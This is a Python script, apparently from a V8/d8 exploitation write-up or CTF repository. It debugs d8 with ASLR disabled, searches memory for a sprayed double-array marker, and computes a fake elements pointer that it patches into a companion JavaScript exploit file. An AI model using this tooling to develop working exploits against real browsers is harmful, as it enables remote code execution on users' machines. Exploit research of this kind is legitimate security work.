README.md
Rendering markdown...
#!/usr/bin/env python3
from __future__ import annotations
import os
import re
import struct
import argparse
from pathlib import Path
from libdebug import debugger
ROOT = Path(__file__).resolve().parent
BACKING_VALUES = (13.371337, 37.1337, 73.7331, 31.3373)
DOUBLE_PATTERN = b"".join(struct.pack("<d", x) for x in BACKING_VALUES)
def read_map(d, start: int, size: int) -> bytes | None:
try:
return bytes(d.memory[start, size])
except Exception:
return None
def find_payload_hits(d) -> list[int]:
hits: list[int] = []
for m in d.maps:
if "r" not in m.permissions or "w" not in m.permissions:
continue
if "[stack]" in str(m.backing_file):
continue
pos = m.start
prev = b""
overlap = len(DOUBLE_PATTERN) - 1
while pos < m.end:
size = min(0x100000, m.end - pos)
raw = read_map(d, pos, size)
if raw:
data = prev + raw
off = data.find(DOUBLE_PATTERN)
while off != -1:
hits.append(pos - len(prev) + off)
off = data.find(DOUBLE_PATTERN, off + 1)
prev = data[-overlap:]
else:
prev = b""
pos += size
return hits
def is_fixed_double_array4_payload(d, payload: int) -> bool:
try:
raw = bytes(d.memory[payload - 8, 8])
except Exception:
return False
return int.from_bytes(raw[4:8], "little") == 8
def patch_final(js_file: Path, qword1: int) -> None:
text = js_file.read_text()
text = re.sub(
r"const QWORD1_BITS = 0x[0-9a-fA-F]+n;",
f"const QWORD1_BITS = 0x{qword1:016x}n;",
text,
count=1,
)
js_file.write_text(text)
parser = argparse.ArgumentParser()
parser.add_argument("d8_path")
parser.add_argument("js_file")
args = parser.parse_args()
d8_path = Path(args.d8_path).expanduser()
if not d8_path.is_absolute():
d8_path = Path.cwd() / d8_path
js_file = Path(args.js_file)
if not js_file.is_absolute():
js_file = Path.cwd() / js_file
env = os.environ.copy()
d8_out = d8_path.parent
env["LD_LIBRARY_PATH"] = f"{d8_out}{':' + env['LD_LIBRARY_PATH'] if env.get('LD_LIBRARY_PATH') else ''}"
d = debugger(
[
str(d8_path),
"--allow-natives-syntax",
"--expose-gc",
"--maglev",
str(js_file),
],
aslr=False,
env=env,
)
d.run()
gc_sym = d.resolve_symbol("_ZN2v88internal11GCExtension2GCERKNS_20FunctionCallbackInfoINS_5ValueEEE")
d.breakpoint(gc_sym)
for _ in range(4):
d.cont()
d.finish()
hits = [x for x in find_payload_hits(d) if is_fixed_double_array4_payload(d, x)]
if len(hits) <= 1:
d.terminate()
exit()
elements_tagged = hits[1] - 7
qword1 = 0x0000000400000000 | ((elements_tagged + 0x10) & 0xFFFFFFFF)
print(f"payload_addr = 0x{hits[1]:x}")
print(f"elements_tagged = 0x{elements_tagged:x}")
print(f"QWORD1_BITS = 0x{qword1:016x}")
patch_final(js_file, qword1)
print(f"patched {js_file.name}")
d.terminate()